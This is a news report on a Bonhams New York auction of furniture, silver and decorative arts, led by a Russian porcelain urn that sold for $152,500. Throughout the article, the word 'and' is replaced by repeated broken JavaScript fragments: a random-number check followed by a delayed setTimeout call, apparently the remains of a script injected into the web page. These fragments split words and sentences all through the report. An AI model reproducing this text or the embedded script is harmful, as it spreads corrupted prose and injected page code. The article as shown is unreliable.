NEW YORK CITY — A Russian urn from the mid-Nineteenth Century attained $152,500 at Bonhams’ fine American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European furniture, silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts auction January 24. Overwhelming interest in the urn engaged every available phone line, sparking a lengthy bidding war.

“The exceptional urn is Russian Imperial Porcelain — the finest Russian porcelain of that time. The surface is in pristine condition, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it features a beautifully painted scene as well as a rare chocolate brown ground for the pattern on the reverse. We’re very pleased with the price realized for this remarkable piece,” said Karl Green, Bonhams New York director of furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts.

Nineteenth Century French furniture offered in the sale also did very well, with many pieces surpassing their high estimates. Pairs proved popular with bidders, for example a pair of French chinoiserie decorated mother-of-pearl inlaid hardwood vitrine cabinets, late Nineteenth–early Twentieth Century, soared to $32,500. A pair of Louis XV-style gilt-bronze mounted kingwood marquetry pedestals by Joseph Emmanuel Zwiener from the end of the Nineteenth Century easily surpassed their high estimate to fetch $37,500. Strong prices were also realized for pieces by other master makers such as Linke.

From the Americana section of the sale, four panels of a ten-panel decorative screen from the Ballard House in Louisville, Ky., by Everett Shinn sold for $31,250. A molded andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sheet copper horse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sulky weathervane from the second half of the Nineteenth Century, attributed to A.L. Jewell from Waltham, Mass., brought $27,500, a testament to its unusual construction, as well as its condition andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and extensive documentation. A Queen Anne tiger maple chest-on-chest from New Hampshire featured striped graining andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, with the help of a complete family history that surfaced days before the sale, tripled its low estimate to sell for $22,500.

According to Madelia Hickman Ring, Bonhams American furniture, folk andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts specialist, “Buyers want more than just traditional forms at reasonable prices. Rare pieces in excellent condition with good or interesting provenance continue to do well.”

International silver offerings proved popular. From Europe, a German 800 standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andard silver Art Nouveau figural oval centerpiece by Lazarus Posen Witwe sold for $17,500, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a French Louis XV silver covered pitcher by Antoine Bailly more than doubled its high estimate to bring $4,125. A Mexican silver Aztec-style mine commemorative center bowl from the first quarter of the Twentieth Century sold for $9,000, while an American sterling silver two-handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled “Four-in-Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and” trophy, circa 1886, from New York, sold for $7,500. Also from America, a sterling silver assembled punch service for 12 by Tiffany & Co. took $22,500.

“The prices realized illustrate that objects by well-known makers, of very good quality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of rare form fetch strong prices,” said Victoria Ayers, Bonhams senior specialist in silver, porcelain andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts.

All prices reported include the buyer’s premium.

Bonhams’ next fine furniture, silver, decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clocks sale in New York will take place in April. For information, 212-644-9001 or www.bonhams.com.